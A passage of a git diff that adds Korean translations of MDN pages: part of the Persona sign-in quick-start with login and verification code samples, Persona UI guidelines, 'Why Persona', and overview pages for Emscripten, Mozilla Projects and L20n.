+<p>Note that if the identity assertion can't be verified, you should call {{ domxref("navigator.id.logout()") }}: this has the effect of telling Persona that no one is currently logged in. If you don't do this, then Persona may immediately call onlogin again with the same assertion, and this can lead to an <a href="/en-US/docs/Persona/The_implementor_s_guide/Call_logout()_after_a_failed_login" title="/en-US/docs/Persona/The_implementor_s_guide/Call_logout()_after_a_failed_login">endless loop of failed logins</a>.</p>
+
+<p>You can, of course, use AJAX to implement this without reloading or redirecting, but that’s beyond the scope of this tutorial.</p>
+
+<p>Here is another example, this time not using jQuery.</p>
+
+<pre class="brush: js;">function simpleXhrSentinel(xhr) {
+    return function() {
+        if (xhr.readyState == 4) {
+            if (xhr.status == 200){
+                // reload page to reflect new login state
+                window.location.reload();
+              }
+            else {
+                navigator.id.logout();
+                alert("XMLHttpRequest error: " + xhr.status);
+              }
+            }
+          }
+        }
+
+function verifyAssertion(assertion) {
+    // Your backend must return HTTP status code 200 to indicate successful
+    // verification of user's email address and it must arrange for the binding
+    // of currentUser to said address when the page is reloaded
+    var xhr = new XMLHttpRequest();
+    xhr.open("POST", "/xhr/sign-in", true);
+    // see http://www.openjs.com/articles/ajax_xmlhttp_using_post.php
+    var param = "assertion="+assertion;
+    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+    xhr.setRequestHeader("Content-length", param.length);
+    xhr.setRequestHeader("Connection", "close");
+    xhr.send(param); // for verification by your backend
+
+    xhr.onreadystatechange = simpleXhrSentinel(xhr); }
+
+function signoutUser() {
+    // Your backend must return HTTP status code 200 to indicate successful
+    // sign out (usually the resetting of one or more session variables) and
+    // it must arrange for the binding of currentUser to 'null' when the page
+    // is reloaded
+    var xhr = new XMLHttpRequest();
+    xhr.open("GET", "/xhr/sign-out", true);
+    xhr.send(null);
+    xhr.onreadystatechange = simpleXhrSentinel(xhr); }
+
+// Go!
+navigator.id.watch( {
+    loggedInUser: currentUser,
+         onlogin: verifyAssertion,
+        onlogout: signoutUser } );
+</pre>
+
+<p>You <strong>must</strong> call <code>navigator.id.watch()</code> on every page with a login or logout button. To support Persona enhancements like automatic login and global logout for your users, you <strong>should</strong> call this function on every page of your site.</p>
+
+<p>Persona will compare the email address you've passed into <code>loggedInUser</code> with its own knowledge of whether a user is currently logged in, and who they are. If these don't match, it may automatically invoke <code>onlogin</code> or <code>onlogout</code> on page load.</p>
+
+<p> </p>
+
+<h2 id="Step_4_Verify_the_user’s_credentials">Step 4: Verify the user’s credentials</h2>
+
+<p>Instead of passwords, Persona uses “identity assertions,” which are kind of like single-use, single-site passwords combined with the user’s email address. When a user wants to log in, your <code>onlogin</code> callback will be invoked with an assertion from that user. Before you can log them in, you must verify that the assertion is valid.</p>
+
+<p>It’s <em>extremely important</em> that you verify the assertion on your server, and not in JavaScript running on the user’s browser, since that would be easy to forge. The example above handed off the assertion to the site’s backend by using jQuery’s <code>$.ajax()</code> helper to <code>POST</code> it to <code>/auth/login</code>.</p>
+
+<p>Once your server has an assertion, how do you verify it? The easiest way is to use a helper service provided by Mozilla. Simply <code>POST</code> the assertion to <code>https://verifier.login.persona.org/verify</code> with two parameters:</p>
+
+<ol>
+ <li><code>assertion</code>: The identity assertion provided by the user.</li>
+ <li><code>audience</code>: The hostname and port of your website. You must hardcode this value in your backend; do not derive it from any data supplied by the user.</li>
+</ol>
+
+<p>For example, if you’re <code>example.com</code>, you can use the command line to test an assertion with:</p>
+
+<pre class="brush: bash;">$ curl -d "assertion=&lt;ASSERTION&gt;&amp;audience=https://example.com:443" "https://verifier.login.persona.org/verify"
+</pre>
+
+<p>If it’s valid, you’ll get a JSON response like this:</p>
+
+<pre class="brush: js;">{
+  "status": "okay",
+  "email": "bob@eyedee.me",
+  "audience": "https://example.com:443",
+  "expires": 1308859352261,
+  "issuer": "eyedee.me"
+}
+</pre>
+
+<p>You can learn more about the verification service by reading <a href="https://developer.mozilla.org/en-US/docs/BrowserID/Remote_Verification_API">The Verification Service API</a>. An example <code>/auth/login</code> implementation, using <a href="http://python.org/">Python</a>, the <a href="http://flask.pocoo.org/">Flask</a> web framework, and the <a href="http://python-requests.org">Requests</a> HTTP library might look like this:</p>
+
+<pre class="brush: python;">@app.route('/auth/login', methods=['POST'])
+def login():
+    # The request has to have an assertion for us to verify
+    if 'assertion' not in request.form:
+        abort(400)
+
+    # Send the assertion to Mozilla's verifier service.
+    data = {'assertion': request.form['assertion'], 'audience': 'https://example.com:443'}
+    resp = requests.post('https://verifier.login.persona.org/verify', data=data, verify=True)
+
+    # Did the verifier respond?
+    if resp.ok:
+        # Parse the response
+        verification_data = resp.json()
+
+        # Check if the assertion was valid
+        if verification_data['status'] == 'okay':
+            # Log the user in by setting a secure session cookie
+            session.update({'email': verification_data['email']})
+            return 'You are logged in'
+
+    # Oops, something failed. Abort.
+    abort(500)
+</pre>
+
+<p>For examples of how to use Persona in other languages, have a look at the <a href="https://github.com/mozilla/browserid-cookbook" title="https://github.com/mozilla/browserid-cookbook">cookbook</a>.</p>
+
+<p>The session management is probably very similar to your existing login system. The first big change is in verifying the user’s identity by checking an assertion instead of checking a password. The other big change is ensuring that the user’s email address is available for use as the <code>loggedInUser</code> parameter to {{ domxref("navigator.id.watch()") }}.</p>
+
+<p>Logout is simple: you just need to remove the user’s session cookie.</p>
+
+<h2 id="Step_5_Review_best_practices">Step 5: Review best practices</h2>
+
+<p>Once everything works and you’ve successfully logged into and out of your site, you should take a moment to review <a href="https://developer.mozilla.org/docs/BrowserID/Security_Considerations">best practices</a> for using Persona safely and securely.</p>
+
+<p>If you're making a production site, have a look at the <a href="/en-US/docs/Persona/The_implementor_s_guide" title="/en-US/docs/Persona/The_implementor_s_guide">implementor's guide</a>, where we've collected tips for adding the kind of features often needed in real-world login systems.</p>
+
+<p>Lastly, don’t forget to sign up for the <a href="https://mail.mozilla.org/listinfo/persona-notices">Persona notices</a> mailing list so you’re notified of any security issues or backwards incompatible changes to the Persona API. The list is extremely low traffic: it’s only used to announce changes which may adversely impact your site.</p>
diff --git a/files/ko/mozilla/persona/user_interface_guidelines/index.html b/files/ko/mozilla/persona/user_interface_guidelines/index.html
new file mode 100644
index 0000000000..4be5607bf0
--- /dev/null
+++ b/files/ko/mozilla/persona/user_interface_guidelines/index.html
@@ -0,0 +1,113 @@
+---
+title: UI 가이드라인
+slug: Mozilla/Persona/User_interface_guidelines
+tags:
+  - Persona
+translation_of: Archive/Mozilla/Persona/User_interface_guidelines
+---
+<p>Presenting sign-in options to users without confusing them can be difficult, especially if your site offers multiple sign-in options. This article aims to provide guidance about the best way to present Persona sign-in to your users. It covers four different possible approaches, depending on the different sign-in options the website supports:</p>
+
+<ul>
+ <li><a href="#persona-only">Persona 전용으로</a></li>
+ <li><a href="#persona_plus_traditional">Persona + "일반 로그인"</a> (that is, sign in with a username and password stored on the site)</li>
+ <li><a href="#persona_plus_federated">Persona + 1개 이상의 다른 로그인 방법</a> (OAuth 2 나 Facebook Connect 등.)</li>
+ <li><a href="#persona_plus_traditional_plus_federated">Persona + "일반 로그인" + 1개이상의 다른 로그인 방법(OAuth 2)</a></li>
+</ul>
+
+<p>In each approach there are three user interface elements to consider:</p>
+
+<ul>
+ <li>the Sign in/Sign up link, displayed on pages when the user is not signed in</li>
+ <li>the Sign up view: the interface that appears when the user clicks "Sign up"</li>
+ <li>the Sign in view: the interface that appears when the user clicks "Sign in"</li>
+</ul>
+
+<p>None of the recommendations here are mandatory.</p>
+
+<h2 id="Persona_전용으로"><a name="persona-only">Persona 전용으로</a></h2>
+
+<p>Persona가 유일한 로그인 옵션으로 제공된다면, 제공되는 경우의 수가 하나 뿐이기 때문에, 이용자의 혼란이 줄어들 것입니다., this offers the least confusing user experience, because the user has fewer choices to make.</p>
+
+<h3 id="Sign_upSign_in_link">Sign up/Sign in link</h3>
+
+<p>여러분은 그냥 "로그인 / 회원가입"이라고 표시된 링크 하나를 보여주면 됩니다. 사용자들이 어떠한 방법으로 로그인 하는 지 미리 알도록 하기 위해서, Persona 아이콘을 포함하는 것을 추천합니다.<br>
+ <br>
+ <img alt="" src="https://mdn.mozillademos.org/files/6773/persona-only-signin-link.png" style="display: block; height: 132px; margin-left: auto; margin-right: auto; width: 323px;"></p>
+
+<h3 id="Sign_up_view">Sign up view</h3>
+
+<p>You don't need to implement the sign up view at all, as Persona takes care of it for you.</p>
+
+<h3 id="Sign_in_view">Sign in view</h3>
+
+<p>Similarly, you don't need to implement the Sign in view, as Persona takes care of it.</p>
+
+<h2 id="Persona_일반적인_로그인_방법"><a name="persona_plus_traditional">Persona + 일반적인 로그인 방법</a></h2>
+
+<p>In this case you support Persona alongside traditional sign-in, where you ask users for a username and password which you then store yourself.</p>
+
+<h3 id="Sign_upSign_in_link_2">Sign up/Sign in link</h3>
+
+<p>You can show the text "Sign up/Sign in", with separate links for each choice:<img alt="" src="https://mdn.mozillademos.org/files/6775/persona-plus-signin-link.png" style="display: block; height: 142px; margin-left: auto; margin-right: auto; width: 296px;"></p>
+
+<h3 id="Sign_up_view_2">Sign up view</h3>
+
+<p>When a user clicks "Sign up" you'll need to offer them the choice to sign up using Persona or to create a new username and password on your site.</p>
+
+<p>In this case it's recommended that the button for the Persona option includes the Persona icon and is labeled "Email" rather than "Persona". Users don't know what "Persona" means and won't see it as a valid sign-up option:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6777/persona-plus-trad-signup.png" style="display: block; height: 387px; margin-left: auto; margin-right: auto; width: 274px;"></p>
+
+<h3 id="Sign_in_view_2">Sign in view</h3>
+
+<p>When the user clicks "Sign in" you'll offer them the choice to sign in with Persona or the account they created on your site. This can be just like the "Sign up view", except you won't include the password confirmation field:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6779/persona-plus-trad-signin.png" style="display: block; height: 349px; margin-left: auto; margin-right: auto; width: 273px;"></p>
+
+<h2 id="Persona_federated_sign-in"><a name="persona_plus_federated">Persona + federated sign-in</a></h2>
+
+<p>In this case you support Persona alongside one or more other federated sign-in options such as Facebook Connect or Google+.</p>
+
+<h3 id="Sign_upSign_in_link_3">Sign up/Sign in link</h3>
+
+<p>You can show the text "Sign up/Sign in", with separate links for each choice:<img alt="" src="https://mdn.mozillademos.org/files/6775/persona-plus-signin-link.png" style="display: block; height: 142px; margin-left: auto; margin-right: auto; width: 296px;"></p>
+
+<h3 id="Sign_up_view_3">Sign up view</h3>
+
+<p>When a user clicks "Sign up" you'll need to offer them the choice to sign up using Persona or to sign up using one of the other federated identity options.</p>
+
+<p>In this case it's recommended that the button for the Persona option includes the Persona icon and is labeled "Email" rather than "Persona". Users don't know what "Persona" means and won't see it as a valid sign-up option:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6783/persona-plus-fed-signup.png" style="display: block; height: 185px; margin-left: auto; margin-right: auto; width: 275px;"></p>
+
+<h3 id="Sign_in_view_3">Sign in view</h3>
+
+<p>When the user clicks "Sign in" you'll offer them the choice to sign in with Persona or one of the other federated sign-in options. This can be just like the "Sign up view":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6785/persona-plus-fed-signin.png" style="display: block; height: 187px; margin-left: auto; margin-right: auto; width: 275px;"></p>
+
+<h2 id="Persona_traditional_sign-in_federated_sign-in"><a name="persona_plus_traditional_plus_federated">Persona + traditional sign-in + federated sign-in</a></h2>
+
+<p>In this case you support everything: Persona, traditional sign-in, and one or more additional federated sign-in options.</p>
+
+<h3 id="Sign_upSign_in_link_4">Sign up/Sign in link</h3>
+
+<p>You can show the text "Sign up/Sign in", with separate links for each choice:<img alt="" src="https://mdn.mozillademos.org/files/6775/persona-plus-signin-link.png" style="display: block; height: 142px; margin-left: auto; margin-right: auto; width: 296px;"></p>
+
+<h3 id="Sign_up_view_4">Sign up view</h3>
+
+<p>When a user clicks "Sign up" you'll need to offer them the choice to sign up using Persona, to create a new username and password on your site, or to sign up using one of the other federated identity options.</p>
+
+<p>In this case it's recommended that the button for the Persona option includes the Persona icon and is labeled "Email" rather than "Persona". Users don't know what "Persona" means and won't see it as a valid sign-up option:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6787/persona-plus-everything-signup.png" style="display: block; height: 411px; margin-left: auto; margin-right: auto; width: 275px;"></p>
+
+<h3 id="Sign_in_view_4">Sign in view</h3>
+
+<p>When the user clicks "Sign in" you'll offer them the choice to sign in with Persona, one of the other federated options, or the account they created on your site. This can be just like the "Sign up view", except you won't include the password confirmation field:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6789/persona-plus-everything-signin.png" style="display: block; height: 375px; margin-left: auto; margin-right: auto; width: 275px;"></p>
+
+<h2 id="More_Info">More Info</h2>
+
+<p>You can find more information about Persona's visual design in <a href="http://people.mozilla.org/~smartell/persona/" title="http://people.mozilla.org/~smartell/persona/">Sean Martell's style primer</a>.</p>
diff --git a/files/ko/mozilla/persona/why_persona/index.html b/files/ko/mozilla/persona/why_persona/index.html
new file mode 100644
index 0000000000..7f3552c1b6
--- /dev/null
+++ b/files/ko/mozilla/persona/why_persona/index.html
@@ -0,0 +1,31 @@
+---
+title: 왜 Persona를 사용해야 합니까?
+slug: Mozilla/Persona/Why_Persona
+translation_of: Archive/Mozilla/Persona/Why_Persona
+---
+<p style=""> </p>
+<p style=""><span style="line-height: inherit;">아이디와 비밀번호로 사용자 인증을 제공하는 </span><span style="line-height: inherit;">일반적인 시스템은 불안합니다. 왜냐하면 사용자는 새로운 사이트나 서비스에 가입할 때 마다 복잡한 비밀번호를 만들어서 사용하고 그것을 기억해야 하고, 모든 사이트는 저장된 비밀번호를 안전하게 보관해야 합니다. 그러나 최근 신뢰할만한 기업들 마저 사용자 정보를 위험으로부터 지켜내지 못하는 일이 눈에 띄게 증가하고 있습니다.</span></p>
+<p><span style="line-height: inherit;">Persona는 오픈되고, 분산된 웹 규모의 식별 시스템으로써 각 사이트마다 제공하는 비밀번호 인증 시스템을 대체합니다. 이 시스템은 Facebook Connect와 같이 중앙 집중식 인프라에 의존하지 않고 가용성을 제공하고, 개인 정보 보호와 관련된 결점을 보완하는 OpenID와 같은 시스템입니다. </span></p>
+<h2 id="Persona는_사이트별_비밀번호를_제거합니다">Persona는 사이트별 비밀번호를 제거합니다</h2>
+<p><span style="line-height: inherit;">Persona는 </span><span style="line-height: inherit;">사이트별 비밀번호를 입력하는 대신 사용자가 단지 두 번의 클릭으로 사이트에 로그인 할 수 있도록 간단한 방법을 제공합니다. 이것은 안전하고, 보안적이고, 공개 키 암호화 방식의 상위에서 구축되었습니다. 패스워드 대신에 사용자의 브라우져는 하나의 사이트에만 유효하고, </span><span style="line-height: inherit;">몇 분 후에 만료되는 </span><span style="line-height: inherit;">"신원 증명" 암호를 생성합니다. Persona를 사용하는 웹 사이트는 개별 비밀번호를 사용하지 않기 때문에 더 이상 비밀번호 데이터베이스의 보안적인 저장이나 잠재적 위험으로부터 벗어날 수 있습니다.</span></p>
+<p>이 <span style="line-height: inherit;">빠른 로그인 절차는 </span><span style="line-height: inherit;">사용자가 새로운 사이트에 방문 했을 때 불편함을 덜어줍니다.</span></p>
+<h2 id="Persona의_ID는_E-Mail_주소입니다">Persona의 ID는 E-Mail 주소입니다</h2>
+<p><span style="line-height: inherit;">Persona는 각종 형태의 사용자명 보다 E-Mail 주소를 ID로 사용합니다. 이것은 사용자와 개발자 모두에게 몇 가지 장점을 제공합니다.</span></p>
+<h3 id="사용자_입장에서의_장점">사용자 입장에서의 장점</h3>
+<ul>
+  <li>사용자는 이미 자신의 E-Mail 주소를 알고 있습니다. OpenID를 사용할 때 혼란스러운 URL과 새로운 것을 알아야 하는 것과 다릅니다.</li>
+  <li><span style="line-height: 1.5em;">E-Mail 주소는 </span><span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: normal;">someone@some-context</span><span style="line-height: 1.5em;"> 의 깔끔한 형태를 가지는데, 이 아이디어는 사용자가 </span><code style="font-size: 14px;">@work</code><span style="line-height: 1.5em;">, </span><code style="font-size: 14px;">@home</code><span style="line-height: 1.5em;">, </span><code style="font-size: 14px;">@school</code><span style="line-height: 1.5em;"> 에 따라 자신의 ID를 쉽게 구분 지을 수 있도록 합니다. 이것은 Facebook과 Google+와 같은 소셜 네트워크의 단일 계정 정책에 따른 자신의 실제 이름으로 ID를 통합하려는 트렌드와 다릅니다.</span></li>
+  <li>E-Mail은 사용자 ID의 제어권을 스스로 가지거나 다른 공급자에게 양도할 수 있습니다.</li>
+</ul>
+<h3 id="개발자_입장에서의_장점">개발자 입장에서의 장점</h3>
+<ul>
+  <li>E-Mail 주소는 개발자에게 사용자에게 통하는 직접적인 연락 수단을 제공합니다.</li>
+  <li>대부분의 사이트는 사용자에게 E-Mail 주소를 요구합니다. Persona는 사용자가 사이트에 로그인 할 때 자동으로 E-Mail 주소를 개발자에게 제공하고, 별도의 가입 절차가 필요 없습니다.</li>
+  <li>대개의 로그인 시스템은 이미 E-Mail 주소를 고유 키로 간주하고 있습니다. 이 말은 Persona에 갖힐 필요 없이 기존의 로그인 시스템과 함께 서비스 가능하다는 것을 의미합니다.</li>
+</ul>
+<p><span style="line-height: inherit;">E-Mail은 이미 셀 수 없는 공급자들로부터 수십억 개의 계정 갖추어진 완전한 분산 시스템이라는 것은 말할 필요도 없을 것입니다.</span></p>
+<h2 id="Persona는_다른_싱글-사인-온(SSO)_공급자와_어떻게_다른가" style="">Persona는 다른 싱글-사인-온(SSO) 공급자와 어떻게 다른가?</h2>
+<p><span style="line-height: inherit;">Persona는 안전하고, 보안적이고, 쉽습니다. 사용자의 개인 정보, 권한, 선택을 다른 공급자가 하지 않거나, 하지 못하는 방법으로 보호합니다.</span></p>
+<p><span style="line-height: inherit;">Facebook이나 Google+와 같은 대부분의 소셜 네트워크는 사용자에게 실명 사용을 요구하고, 하나의 계정만을 사용하도록 제한합니다. Persona는 E-Mail 주소 위에서 만들어 짐으로써 사용자가 자신의 직장, 집 그리고 학교와 같은 각기 다른 정체성을 구분할 수 있도록 허용합니다.</span></p>
+<p><span style="line-height: inherit;">Persona는 오픈되고, 분산된 시스템입니다. E-Mail 주소를 가진 누구나 Persona를 이용해 사이트에 로그인 할 수 있습니다. 뿐만 아니라 누구나 E-Mail과 같이 자신의 ID 공급자를 호스팅하거나 다른 기관에 양도할 수 있습니다. 이것이 단일 계정을 요구하는 </span><span style="line-height: inherit;">중앙 집중식 소셜 로그인 서비스와 다른 부분입니다.</span></p>
+<p><span style="line-height: inherit;">Persona는 사용자의 개인 정보를 보호하기 위해 인증 과정 중간에 사용자의 브라우저를 넣은 새로운 접근 방식을 가집니다. 브라우저는 사용자의 E-Mail 공급자로부터 자격 증명을 획득한 이후, 다시 돌아와서 웹사이트에게 자격 증명을 제공합니다. E-Mail 공급자는 사용자를 추적하지 못하지만 웹사이트는 여전히 암호화 된 자격 증명을 확인해 사용자를 식별할 수 있습니다. OpenID를 포함한 대부분의 다른 시스템은 사용자의 로그인을 허용하기 전에 사이트에 "phone home"(역주: OAuth와 같은 시스템에서 콘텐츠 공급자가 사용자 식별 정보를 서비스 공급자에게 확인하여 식별을 확인하는 방식)을 요구합니다.</span></p>
diff --git a/files/ko/mozilla/projects/emscripten/index.html b/files/ko/mozilla/projects/emscripten/index.html
new file mode 100644
index 0000000000..9ce63c51cc
--- /dev/null
+++ b/files/ko/mozilla/projects/emscripten/index.html
@@ -0,0 +1,37 @@
+---
+title: Emscripten
+slug: Mozilla/Projects/Emscripten
+translation_of: Mozilla/Projects/Emscripten
+---
+<p><span class="seoSummary">엠스크립튼은 자바스크립트 컴파일러의 LLVM입니다. 엠스크립튼은 LLVM 바이트 코드를 받아 웹에서 동작할 수 있는 자바스크립트로 컴파일해줍니다. (예를 들어, Clang을 이용한 C/C++ 코드나 그 외의 언어로부터 생성된 LLVM 바이트 코드)</span></p>
+
+<div class="warning">
+<p><span style="font-size: 14px;"><strong>중요</strong></span>: 이 페이지는 엠스크립튼에 대한 굉장히 간략한 설명만을 다루고 있습니다. 엠스크립튼에 대해 더욱 자세히 알고 싶다면, <a href="http://kripken.github.io/emscripten-site/index.html">공식 홈페이지의 엠스크립튼 Wiki</a>에서 정보를 찾아보세요.</p>
+</div>
+
+<p>엠스크립튼을 사용하면, 당신은</p>
+
+<ul>
+ <li>C나 C++ 코드를 자바스크립트로 컴파일할 수 있습니다.</li>
+ <li>LLVM 바이트코드로 변환될 수 있는 다른 코드들을 자바스크립트로 컴파일할 수 있습니다.</li>
+ <li>다른 언어에서의 C/C++ 런타임을 자바스크립트로 컴파일 한 후 간접적인 방법을 통해 다른 언어의 코드를 실행시킬 수 있습니다(파이썬과 루아에 대해서는 이미 테스트 되었어요)!</li>
+</ul>
+
+<p>엠스크립튼은 네이티브 코드를 웹에서 사용 가능하게 만들어줍니다. 아시다시피 웹은 표준 기반이면서, 독립적인 서로 호환 가능한 수많은 구현체들이 존재하며, PC부터 아이패드까지 모든 곳에서 동작하는 플랫폼이지요!</p>
+
+<p>엠스크립튼을 이용하면 C나 C++ 개발자들은 일일히 코드를 자바스크립트로 포팅하는 고된 작업을 할 필요가 없습니다. 아니, 아예 자바스크립트를 배울 필요도 없습니다. 웹 개발자들에게도 또한 이점이 있는데, 이미 존재하는 수많은 네이티브 유틸리티나 라이브러리들을 그들의 사이트에 사용할 수 있기 때문입니다.</p>
+
+<p>사실상 거의 모든 포팅 가능한 C나 C++ 코드베이스가 엠스크립튼을 이용하여 자바스크립트로 컴파일 될 수 있으며, 그 범위는 그래픽 렌더링이나 소리 재생, 파일 처리 등을 요구하는 고성능 게임에서부터 Qt와 같은 어플리케이션 프레임워크까지 다양합니다.</p>
+
+<p>엠스크립튼은 빠른 코드를 생성해내며, 기본적인 컴파일 결과 값은 네이티브 속도에 가까운 성능을 낼 수 있도록 고성능으로 최적화 된 자바스크립트의 서브셋인 <a href="/en-US/docs/Games/Tools/asm.js">asm.js</a> 포맷입니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 꽤 재미있을 것 같지요? <a href="http://kripken.github.io/emscripten-site/docs/introducing_emscripten/about_emscripten.html">엠스크립튼에 대해 좀 더 읽어보고, 한번 직접 데모를 실행</a>시켜본 다음에, <a href="http://kripken.github.io/emscripten-site/docs/getting_started/index.html">어떻게 사용하는지 시작해보세요</a>.</p>
+</div>
+
+<h2 id="비슷한_주제의_다른_MDN_글">비슷한 주제의 다른 MDN 글</h2>
+
+<ul>
+ <li>MDN의 <a href="/en-US/docs/Games">Games zone</a> 에서는 게임 개발과 관련하여 유용한 정보들이 있습니다. 게임 개발에서는 엠스크립튼의 사용이 꽤나 일반적이지요.</li>
+ <li>MDN의 <a href="/en-US/docs/Mozilla/Projects/Emscripten/Techniques">Emscripten techniques</a> 페이지에서는 엠스크립튼과 관련한 유용한, 엠스크립튼 Wiki에 서술되지 않은 생각들을 담고 있습니다.</li>
+</ul>
diff --git a/files/ko/mozilla/projects/index.html b/files/ko/mozilla/projects/index.html
new file mode 100644
index 0000000000..c1e43934a2
--- /dev/null
+++ b/files/ko/mozilla/projects/index.html
@@ -0,0 +1,14 @@
+---
+title: Projects
+slug: Mozilla/Projects
+tags:
+  - Mozilla
+  - NeedsContent
+  - NeedsTranslation
+  - Projects
+  - TopicStub
+translation_of: Mozilla/Projects
+---
+<p>{{ draft() }}</p>
+<p>Below you'll find links to documentation about various Mozilla projects; these are often parts of Firefox or other products, but may also be used in other projects as well.</p>
+<p>{{ LandingPageListSubpages() }}</p>
diff --git a/files/ko/mozilla/projects/l20n/index.html b/files/ko/mozilla/projects/l20n/index.html
new file mode 100644
index 0000000000..9f4a8dcbfb
--- /dev/null
+++ b/files/ko/mozilla/projects/l20n/index.html
@@ -0,0 +1,126 @@
+---
+title: L20n
+slug: Mozilla/Projects/L20n
+translation_of: Mozilla/Projects/L20n
+---
+<div class="note">
+<p><strong>일러두기</strong>: 이 문서는 아직 드래프트 단계이거나 최신 버전이 아닐 수 있습니다. 가장 최근 문서는 <a href="https://github.com/l20n/l20n.js/tree/master/docs">깃헙 문서</a>를 확인하세요.</p>
+</div>
+
+<div class="summary">L20n은 아주 간단한 코드로 여러분이 사용하는 언어의 힘을 더욱 끌어올릴 수 있는 JavaScript 지역화 프레임워크입니다.</div>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="L20n_소개">L20n 소개</h2>
+
+<p>L20n reinvents software localization. Users should be able to benefit from the entire expressive power of the natural language. L20n keeps simple things simple, and at the same time makes complex things possible.</p>
+
+<p>Through L20n, Mozilla is creating a new generation of technology that places more power in localizers' hands. <span class="seoSummary">L20n lets localizers reach higher levels of free linguistic expression by sharpening the divide between localization and application logic.</span> It allows to adapt your web application not only to languages and cultures, but also contextual data, user gender and screen dimensions.</p>
+</div>
+
+<div class="column-half">
+<h2 id="What_L20n_looks_like">What L20n looks like</h2>
+
+<p>Here is a simple, straightforward example showing an English string being provided:</p>
+
+<pre class="brush: html">&lt;brandName "Firefox"&gt;
+&lt;about "About \{{ brandName }}"&gt;</pre>
+
+<p>Here is the same string being provided in Slovenian:</p>
+
+<pre class="brush: html">&lt;brandName {
+  nominative: "Firefox",
+  genitive: "Firefoxa",
+  dative: "Firefoxu",
+  accusative: "Firefox",
+  locative: "Firefoxu",
+  instrumental: "Firefoxom"
+}&gt;
+&lt;about "O \{{ brandName.locative }}"&gt;</pre>
+</div>
+</div>
+
+<p> </p>
+
+<div class="column-container">
+<div class="column-third">
+<h2 class="Documentation" id="For_Developers">For Developers</h2>
+
+<p><strong>Documentation for developers wanting to implement localization functionality on their web apps using L20n.</strong></p>
+
+<dl>
+ <dt>Internationalization for your web app</dt>
+ <dd>First read for developers looking to use the L20n infrastructure.</dd>
+ <dt><a href="/en-US/docs/L20n/HTML_Bindings">L20n's HTML bindings</a></dt>
+ <dd>Tutorial on implementing L20n in your HTML code.</dd>
+ <dt><a href="/en-US/docs/L20n/Javascript_API">L20n JavaScript API</a></dt>
+ <dd>An API for l20n.js.</dd>
+ <dt>L20n syntax cheatsheet for developers</dt>
+ <dd>A simple cheatsheet to help developers as they add L20n to their localization infrastructure.</dd>
+</dl>
+</div>
+
+<div class="column-third">
+<h2 class="Documentation" id="For_Localizers">For Localizers</h2>
+
+<p><strong>Documentation for Localizers creating localized content for a project that uses L20n.</strong></p>
+
+<dl>
+ <dt><a href="http://l20n.org/learn/">Learn the L20n syntax</a></dt>
+ <dd>How to naturally localize applications using L20n. Complete with use cases and examples of L20n in action.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/L20n/Localization_Use_Cases">Localization use-cases</a></dt>
+ <dd>How to naturally localize applications using L20n. Complete with use cases and examples of L20n in action.</dd>
+ <dt>L20n and Translation Memory eXchange (TMX)</dt>
+ <dd>How L20n impacts the Translation Memory eXchange standard for translation memory data.</dd>
+ <dt>L20n syntax cheatsheet for localizers</dt>
+ <dd>A simple cheatsheet to help localizers as they localize projects with L20n.</dd>
+</dl>
+</div>
+
+<div class="column-third">
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Additional resources</h2>
+
+<p><strong>Some additional resources for developers and localizers involved with L20n.</strong></p>
+
+<dl>
+ <dt><a href="http://www.l20n.org" title="http://www.l20n.org">L20n.org</a></dt>
+ <dd>You can try L20n live in your browser on the project page.</dd>
+ <dt><a href="http://l20n.github.io/tinker/" title="http://l20n.github.io/tinker/">L20n Tinker</a></dt>
+ <dd>Test out your own L20n code in L20n Tinker.</dd>
+ <dt><a href="https://github.com/l20n" title="https://github.com/l20n/l20n.js">GitHub</a></dt>
+ <dd>Where the main code for the L20n infrastructure and design spec lives.</dd>
+ <dt><a href="https://wiki.mozilla.org/L20n" title="https://wiki.mozilla.org/L20n">Wiki page</a></dt>
+ <dd>Info about the project to develop L20n.</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ol>
+ <li><a href="#" title="Documentation for developers wanting to implement localization functionality on their web apps using L20n">For Developers</a>
+
+  <ol>
+   <li><a href="#" title="First read for developers looking to use the L20n infrastructure">Internationalization for your web app</a></li>
+   <li><a href="/en-US/docs/Mozilla/Projects/L20n/HTML_Bindings" title="Tutorial on implementing L20n in your HTML code">L20n's HTML bindings</a></li>
+   <li><a href="#" title="A complete description of the use, function, and role of L20n's .lol format.">.lol file format</a></li>
+   <li><a href="#" title="A simple cheatsheet to help developers as they add L20n to their localization infrastructure.">L20n syntax cheatsheet for developers</a></li>
+  </ol>
+ </li>
+ <li><a href="#" title="Documentation for Localizers creating localized content for a project that uses L20n.">For Localizers</a>
+  <ol>
+   <li><a href="#" title="How to naturally localize applications using L20n. Complete with use cases and examples of L20n in action.">Learn the L20n syntax</a></li>
+   <li><a href="/en-US/docs/L20n/Localization_Use_Cases">Localization use cases</a></li>
+   <li><a href="#" title="How L20n impacts the Translation Memory eXchange standard for translation memory data.">L20n and Translation Memory eXchange (TMX)</a></li>
+   <li><a href="#" title="A simple cheatsheet to help localizers as they localize projects with L20n.">L20n syntax cheatsheet for localizers</a></li>
+  </ol>
+ </li>
+ <li><a href="#" title="Some additional resources for developers and localizers involved with L20n.">Additional resources</a>
+  <ol>
+   <li><a href="http://www.l20n.org" title="You can try L20n live in your browser on the project page">L20n.org</a></li>
+   <li><a href="http://l20n.github.io/tinker/" title="Test out your own L20n code in L20n Tinker">L20n Tinker</a></li>
+   <li><a href="https://github.com/l20n/l20n.js" title="Where the main code for the L20n infrastructure and language lives">L20n GitHub repo</a></li>
+   <li><a href="https://wiki.mozilla.org/L20n" title="Info about the project to develop L20n">Mozilla Wiki</a></li>
+  </ol>
+ </li>
+</ol>
diff --git a/files/ko/mozilla/projects/psm/index.html b/files/ko/mozilla/projects/psm/index.html
new file mode 100644
index 0000000000..962da69c8f
--- /dev/null
+++ b/files/ko/mozilla/projects/psm/index.html
